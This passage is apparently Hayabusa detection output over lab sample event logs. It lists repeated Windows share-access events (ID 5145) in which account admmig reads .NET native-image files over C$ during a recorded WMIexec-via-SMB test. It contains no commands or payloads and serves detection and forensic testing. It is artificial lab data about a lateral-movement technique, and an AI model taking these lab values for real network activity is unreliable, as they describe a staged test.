20:32:31.686 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.I0cd65b90#\62095b976d2affb993898b2e9f88c475 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.686 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.I7676db1a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.686 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.I7676db1a#\f39c57237f98d69b4abdc9e3907d8fe7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.686 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ib6702479# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.686 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ib6702479#\9fd6e8c8110ccd01fd6745507b906c04 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.702 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ic1a2041b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.702 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ic1a2041b#\ec2e3c1e16b1d1427b32d2f2babf99bc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ifcaec084# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ifcaec084#\a9175ff6a1a8784975c70e9933314ecd : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Kd58820a5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Kd58820a5#\c7ef2b5b5fc4335bef3148904cb3f0e5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\a5c640ad1645775e93d560f67f3ea1d1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Meefd589e# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Meefd589e#\865873dc1b8af370b7a314c3c89dcfd0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf5ac9168# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf5ac9168#\9d5a241e9cf3bdb8312058004ea269f4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\68828aa1ea98316a22a4d8488267b07b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mff1be75b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mff1be75b#\7cb1fc2895121ae7e24841bd0c24b25e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P0e11b656# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P0e11b656#\e1349161320cee221fb339c41ab73546 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.748 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f9a5e83# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.748 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f9a5e83#\59420f153f7bb0ef6f63e75d08020c8c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.748 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.748 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\433ad5082c48708eb6acf6fa065c1461 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.748 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P08ac43d5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P08ac43d5#\87b325b56b362a5d2dca93029c0d75b8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P9de5a786# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P9de5a786#\8078dc8e65f16bfd95c09cce4fe0280e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P10d01611# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P10d01611#\54330dabd4f5e29c758461cbbf2a4f34 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P34f388c1# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P34f388c1#\50399e243bf8da1addc23305521efbd9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.795 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P1706cafe# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.795 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P1706cafe#\174cd66357bfa0b262b0dbd9bd0e64e3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.795 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P047767ce# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.795 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P047767ce#\f05e09fe4c0d9354867afe11b4e9db8c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.811 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\89e812888a4e94f1d2bf0da1c4c6ee5b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P655586bb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P655586bb#\f3228ac51b37737ae2ce1176bbbad2ce : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P39041136# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P39041136#\cabc62ca2a04f99fe9af65799a727687 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\1617c5f47d154a5d7cf1f53851398006 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\19b334bb62b3c76cfcc7137bb03371c3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pcd26229b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pcd26229b#\822ee6a8aa9386352052b7bd2610f3b5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pd3efef62# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pd3efef62#\ab00f4aa6892c4c6d39b87f078e8208f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pefb7a36b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pefb7a36b#\93b57911ae369118b40a5605c448eb9d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.R251a4777# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.R251a4777#\b090c87f42b1af785a6a9d1c43c201c6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S0f8e494c# 